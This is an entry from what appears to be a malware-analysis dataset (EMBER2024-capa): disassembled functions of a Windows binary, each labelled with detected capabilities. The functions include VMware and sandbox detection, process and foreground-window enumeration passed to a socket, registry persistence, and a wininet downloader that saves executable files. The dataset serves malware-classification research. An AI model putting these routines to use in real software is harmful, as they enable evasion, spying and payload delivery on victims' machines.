joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002c50
Capabilities:
Get token membership

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x140041250]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ebx, ebx
lea rax, [rsp + 0x68]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
lea r8d, [rbx + 0x20]
mov r9d, 0x220
mov dl, 2
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x70], 0
mov word [rsp + 0x74], 0x500
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x60], eax
test eax, eax
je 0x140002cdb
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x60]
cmp eax, 1
sete al
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14001c270
add rsp, 0x80
pop rbx
ret

Function at 0x140003080
Capabilities:
Get disk information
Get disk size
Get memory capacity

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x140041250]
xor rax, rsp
mov qword [rsp + 0xb8], rax
xor r13d, r13d
mov r12, rcx
mov edi, r13d
mov esi, r13d
mov ebp, r13d
mov ebx, r13d
lea eax, [rbx + 0x42]
lea rcx, [rsp + 0xa0]
mov dword [rsp + 0xa2], 0x5c003a
mov word [rsp + 0xa0], ax
mov word [rsp + 0xa6], r13w
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x14000312b
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xa0]
inc ebp
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov r11, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
shr r11, 0x1e
shr rax, 0x1e
add edi, r11d
add esi, eax
inc ebx
cmp ebx, 0x1a
jl 0x1400030c3
xor eax, eax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], 0x40
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
shr rax, 0x1e
lea r8, [0x140039cf0]
shr rbx, 0x1e
inc rax
mov r9d, ebp
mov edx, 0xc8
mov qword [rsp + 0x30], rax
mov rcx, r12
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], edi
inc rbx
call fcn.14001c6e4
lea r8, [0x140039d40]
mov r9, r12
mov edx, 0xc8
mov rcx, r12
mov qword [rsp + 0x20], rbx
call fcn.14001c6e4
mov rcx, qword [rsp + 0xb8]
xor rcx, rsp
call fcn.14001c270
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140003210
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
sub rsp, 0x2a0
mov rax, qword [0x140041250]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov rdi, r9
mov rsi, r8
mov r12, rdx
mov r13, rcx
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x30], 1
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x80]
call fcn.14001dcf0
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, r12
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14000328d
or ebx, 0xffffffff
jmp 0x140003430
mov ecx, dword [rsp + 0x2f0]
test ecx, ecx
je 0x14000338c
dec ecx
je 0x14000331f
dec ecx
jne 0x140003430
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140003430
cmp eax, 2
ja 0x140003430
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140003430
lea rdx, [0x140039ad0]
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140003407
or ebx, 0xffffffff
jmp 0x140003430
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140003430
cmp eax, 2
ja 0x140003430
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, rdi
test eax, eax
jne 0x140003422
lea rdx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
jmp 0x140003430
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140003430
cmp eax, 2
ja 0x140003430
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14000341f
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, dword [rsp + 0x68]
lea r8, [rsp + 0x80]
lea rdx, str._s__d
lea rcx, [rsp + 0x80]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
jmp 0x140003430
mov rcx, rdi
lea rdx, str.error
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
nop
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.14001c270
add rsp, 0x2a0
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140003a00
Capabilities:
Enumerate processes
Get disk size
Get memory capacity

Disassembly:
sub rsp, 0x308
mov rax, qword [0x140041250]
xor rax, rsp
mov qword [rsp + 0x2f8], rax
lea rcx, str.C:Program_FilesVMwareVMware_Tools_
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x140003a44
mov al, 1
mov rcx, qword [rsp + 0x2f8]
xor rcx, rsp
call fcn.14001c270
add rsp, 0x308
ret
xor edx, edx
mov qword [rsp + 0x310], rbx
mov dword [rsp + 0xa0], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140003a72
xor al, al
jmp 0x140003c40
lea rdx, [rsp + 0xa0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140003afc
nop word [rax + rax]
lea rdx, str.VMwareService.exe
lea rcx, [rsp + 0xcc]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140003b98
lea rdx, str.VMwareTray.exe
lea rcx, [rsp + 0xcc]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140003b98
lea rdx, str.VMwareUser.exe
lea rcx, [rsp + 0xcc]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140003b98
lea rdx, [rsp + 0xa0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140003a90
mov rcx, rbx
mov qword [rsp + 0x300], rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
lea r8, [rsp + 0x40]
lea rcx, str.localhost
lea edx, [rdi + 0x64]
mov qword [rsp + 0x40], rdi
call qword [sym.imp.NETAPI32.dll_NetWkstaGetInfo]
test eax, eax
jne 0x140003b73
mov rax, qword [str.WORKGROUP]
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x2e0]
mov qword [rsp + 0x2e0], rax
mov rax, qword [0x14003a118]
mov qword [rsp + 0x2e8], rax
mov eax, dword [0x14003a120]
mov dword [rsp + 0x2f0], eax
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140003b91
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [rsp + 0x68], 0x45f41500
jae 0x140003b9f
mov al, 1
jmp 0x140003c38
mov al, 1
jmp 0x140003c40
xor r9d, r9d
mov qword [rsp + 0x30], rdi
lea rcx, str..PhysicalDrive0
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140003bdf
or rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x140003c38
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x48]
xor r8d, r8d
mov edx, 0x7405c
mov rcx, rbx
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x48]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp rax, 0x6e
setl al
mov rdi, qword [rsp + 0x300]
mov rbx, qword [rsp + 0x310]
mov rcx, qword [rsp + 0x2f8]
xor rcx, rsp
call fcn.14001c270
add rsp, 0x308
ret
Function at 0x140005660
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x30
mov r12, rcx
mov rcx, qword [rcx + 0x148]
mov rbx, r9
mov esi, r8d
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [r12 + 0x138]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [r12 + 0x160]
mov r8, rbx
mov edx, 0xff
call fcn.14001c998
lea rcx, [r12 + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [r12 + 0x160]
lea rcx, [r12 + 0x160]
lea eax, [rax + rax + 2]
movsxd r8, eax
mov dword [r12 + 0x360], eax
call fcn.14001c2b0
mov r11d, dword [r12 + 0x360]
mov rcx, qword [r12 + 0x378]
xor edx, edx
add r11d, 8
add rcx, 8
mov word [rsp + 0x28], dx
mov dword [r12 + 0x364], r11d
mov rax, qword [rcx]
mov qword [rsp + 0x20], rdx
xor r9d, r9d
movzx r8d, si
mov rdx, rbp
call qword [rax]
test eax, eax
je 0x140005774
lea rcx, [r12 + 0x140]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [r12 + 0x140]
sub rax, qword [r12 + 0x138]
pxor xmm0, xmm0
pxor xmm1, xmm1
cvtsi2sd xmm0, qword [r12 + 0x130]
cvtsi2sd xmm1, rax
divsd xmm0, qword [0x14003a698]
mov al, 1
divsd xmm1, xmm0
movsd qword [r12 + 0x128], xmm1
jmp 0x140005776
xor al, al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r13
pop r12
pop rdi
ret
Function at 0x140006780
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 8], rdx
mov rbp, rdx
lea rax, vtable.CManager.0
mov qword [rcx], rax
mov rax, qword [rdx]
mov rbx, rcx
mov rdx, rcx
mov rcx, rbp
mov esi, r9d
mov rdi, r8
call qword [rax + 0x18]
xor r9d, r9d
lea edx, [r9 + 1]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x10], rax
lea rax, vtable.CKernelManager.0
mov qword [rbx], rax
mov eax, dword [rsp + 0x60]
mov dword [rbx + 0x230], eax
test eax, eax
je 0x140006824
test rdi, rdi
je 0x140006801
lea rcx, [0x140049f10]
mov r8, rdi
mov edx, 0x208
call fcn.14001c998
mov r8, qword [rsp + 0x58]
test r8, r8
je 0x14000681c
lea rcx, [0x14004a320]
mov edx, 0x208
call fcn.14001c998
mov dword [0x1400464c8], esi
jmp 0x14000685e
test rdi, rdi
je 0x14000683d
lea rcx, [0x1400496f0]
mov r8, rdi
mov edx, 0x208
call fcn.14001c998
mov r8, qword [rsp + 0x58]
test r8, r8
je 0x140006858
lea rcx, [0x140049b00]
mov edx, 0x208
call fcn.14001c998
mov dword [0x1400456ac], esi
mov eax, dword [rsp + 0x50]
lea rcx, [0x140039c10]
mov qword [rbx + 0x228], rbp
mov dword [0x1400464cc], eax
xor eax, eax
mov qword [0x140048668], rbx
mov qword [rbx + 0x234], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.RegCreateKeyExW
mov rcx, rax
mov qword [rbx + 0x240], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x14003a2e0]
mov qword [rbx + 0x248], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegDeleteKeyW
mov qword [rbx + 0x288], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x14003a300]
mov qword [rbx + 0x258], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x140039c30]
mov qword [rbx + 0x260], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x140039c48]
mov qword [rbx + 0x250], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegEnumValueW
mov qword [rbx + 0x268], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegEnumKeyExW
mov qword [rbx + 0x270], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x140039c58]
mov qword [rbx + 0x278], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov qword [rbx + 0x280], rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140007210
Capabilities:
Enumerate processes
Get graphical window text

Disassembly:
push rbx
push rbp
push r12
push r13
push r14
sub rsp, 0x280
mov rax, qword [0x140041250]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r14, rcx
mov ecx, 0x7532
call fcn.14001c640
xor edx, edx
mov r8d, 0x7532
mov rcx, rax
mov r12, rax
call fcn.14001dcf0
xor ebp, ebp
xor edx, edx
lea ecx, [rbp + 2]
mov byte [r12], 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x14000728b
lea rbx, [r12 + 2]
lea r8, str._vz
mov edx, 0x3a98
mov rcx, rbx
call fcn.14001c6e4
jmp 0x1400073b3
mov qword [rsp + 0x2b8], rsi
mov qword [rsp + 0x2c0], rdi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x1400072ba
lea rdx, [r12 + 2]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rbx, [r12 + 2]
lea rdi, [0x140039ad0]
mov ecx, 1
mov rsi, rbx
repe cmpsw word [rsi], word [rdi]
mov rdi, qword [rsp + 0x2c0]
mov rsi, qword [rsp + 0x2b8]
jne 0x1400072f7
lea r8, [0x1400399e4]
mov edx, 0x3a98
mov rcx, rbx
call fcn.14001c6e4
lea r8, [0x14003a378]
mov r9, rbx
mov edx, 0x3a98
mov rcx, rbx
call fcn.14001c6e4
lea rcx, [rsp + 0x34]
xor edx, edx
mov r8d, 0x234
call fcn.14001dcf0
lea rdx, [rsp + 0x30]
mov rcx, r13
mov dword [rsp + 0x30], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400073b3
nop word [rax + rax]
mov rcx, rbx
inc ebp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x36b0
jg 0x1400073b3
mov eax, 0x66666667
imul ebp
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*4]
cmp ebp, ecx
jne 0x140007380
lea r8, [0x14003a388]
mov r9, rbx
mov edx, 0x3a98
mov rcx, rbx
call fcn.14001c6e4
lea rax, [rsp + 0x5c]
lea r8, str._s___s
mov r9, rbx
mov edx, 0x3a98
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14001c6e4
lea rdx, [rsp + 0x30]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140007340
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [r14 + 8]
mov r8d, 0x7532
mov rax, qword [rcx]
mov rdx, r12
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, r12
call fcn.14001c290
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.14001c270
add rsp, 0x280
pop r14
pop r13
pop r12
pop rbp
pop rbx
ret
Function at 0x140007400
Capabilities:
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x610
mov rax, qword [0x140041250]
xor rax, rsp
mov qword [rsp + 0x600], rax
mov rbx, rcx
mov ebp, r8d
lea rcx, [rsp + 0x50]
mov r8d, 0x2d8
mov rsi, rdx
call fcn.14001c2b0
lea rcx, [rsp + 0x332]
xor r12d, r12d
xor edx, edx
mov r8d, 0x2ce
mov word [rsp + 0x330], r12w
call fcn.14001dcf0
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 1]
lea rcx, [rsp + 0x260]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140007497
xor eax, eax
jmp 0x140007532
lea r8d, [rbp - 0x2d8]
lea rdx, [rsi + 0x2d8]
lea r9, [rsp + 0x40]
mov rcx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140007490
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rsp + 0x330]
test eax, eax
je 0x1400074f8
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x260]
lea rdx, str._s__s
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x140007506
lea rdx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rsp + 0x54]
test eax, eax
je 0x140007517
dec eax
jne 0x14000752d
xor r8d, r8d
jmp 0x14000751d
mov r8d, 5
lea rdx, [rsp + 0x330]
mov rcx, rbx
call fcn.140007550
mov eax, 1
mov rcx, qword [rsp + 0x600]
xor rcx, rsp
call fcn.14001c270
add rsp, 0x610
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140007550
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0xa10]
sub rsp, 0xb10
mov rax, qword [0x140041250]
xor rax, rsp
mov qword [rbp + 0xa00], rax
mov rsi, rcx
mov r12d, r8d
mov rdi, rdx
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.14001dcf0
mov edx, 0x2e
mov rcx, rdi
call fcn.14001d024
mov rbx, rax
test rax, rax
je 0x1400077a8
mov qword [rsp + 0xb50], r13
lea rcx, [rbp + 0x1f2]
xor r13d, r13d
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x1f0], r13w
call fcn.14001dcf0
lea edx, [r13 + 0x20]
mov rcx, rbx
call fcn.14001d024
mov rcx, rbx
test rax, rax
je 0x140007607
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
movsxd rcx, eax
test eax, eax
jle 0x140007624
cmp word [rbx + rcx*2], 0x20
je 0x14000760d
dec rcx
dec eax
test rcx, rcx
jg 0x1400075f4
jmp 0x140007624
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x1f0]
movsxd r9, eax
mov r8, rbx
mov edx, 0x104
call fcn.14001d050
lea r9, [rbp - 0x20]
lea rdx, [rbp + 0x1f0]
mov r8d, 1
mov rcx, rsi
call fcn.1400077d0
test eax, eax
je 0x1400076ba
lea rcx, [rbp + 0x610]
xor edx, edx
mov r8d, 0x3e8
call fcn.14001dcf0
lea r8, [rbp - 0x20]
lea rdx, str._s_shellopencommand
lea rcx, [rbp + 0x610]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.14001dcf0
lea rcx, [rbp + 0x402]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x400], r13w
call fcn.14001dcf0
lea r9, [rbp + 0x400]
lea rdx, [rbp + 0x610]
mov r8d, 2
mov rcx, rsi
call fcn.1400077d0
test eax, eax
jne 0x1400076c1
xor al, al
jmp 0x1400077a0
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x400]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [0x14003a3e8]
lea rcx, [rbp - 0x20]
call fcn.14001c934
test rax, rax
jne 0x140007722
lea rdx, [0x14003a3f0]
lea rcx, [rbp - 0x20]
call fcn.14001c934
test rax, rax
jne 0x140007722
lea rdx, [0x140039b30]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x20]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14000772e
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8d, [rdx + 0x60]
call fcn.14001dcf0
mov dword [rsp + 0x50], WSAGetLastError
test r12d, r12d
je 0x140007759
lea rax, str.WinSta0Default
mov qword [rsp + 0x60], rax
jmp 0x140007765
mov dword [rbp - 0x74], 1
mov word [rbp - 0x70], r13w
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov al, 1
mov r13, qword [rsp + 0xb50]
mov rcx, qword [rbp + 0xa00]
xor rcx, rsp
call fcn.14001c270
add rsp, 0xb10
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140007d70
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
cmp dword [rcx + 0x230], 0
mov rbp, rdx
lea rax, [rsp + 0x50]
mov rsi, r8
mov rbx, rcx
lea rdi, str.main
lea r12, str.back
mov rdx, rdi
mov r9d, 2
cmovne rdx, r12
mov rcx, 0xffffffff80000001
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x50]
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbx + 0x230], 0
lea r8, [rsp + 0x50]
cmovne rdi, r12
mov rcx, 0xffffffff80000001
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x140007e2f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x50]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov rdx, rbp
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
Function at 0x140007fa0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x860
mov rax, qword [0x140041250]
xor rax, rsp
mov qword [rsp + 0x850], rax
mov rbp, rcx
xor r14d, r14d
lea rcx, str.wininet.dll
mov esi, 1
mov rbx, rdx
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x44], r14d
movzx r12d, sil
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.InternetOpenW
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.MSIE_6.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r14d
call rax
mov r13, rax
test rax, rax
jne 0x140008033
test rdi, rdi
je 0x14000802c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x14000816a
lea rdx, str.InternetOpenUrlW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, r13
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
call rax
mov rbp, rax
test rax, rax
je 0x14000801e
mov qword [rsp + 0x30], r14
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rbx
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140008130
mov qword [rsp + 0x8b0], r15
mov r15d, 0x5a4d
nop word [rax + rax]
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x800
call fcn.14001dcf0
lea rdx, str.InternetReadFile
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x800
mov rcx, rbp
call rax
test esi, esi
je 0x1400080f3
cmp word [rsp + 0x50], r15w
jne 0x14000811c
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
mov rcx, rbx
mov esi, r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x40], r14d
ja 0x1400080b0
jmp 0x14000811f
xor r12b, r12b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x8b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbp
mov rbx, rax
call rbx
mov rcx, r13
call rbx
test rdi, rdi
je 0x140008166
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx eax, r12b
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.14001c270
add rsp, 0x860
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret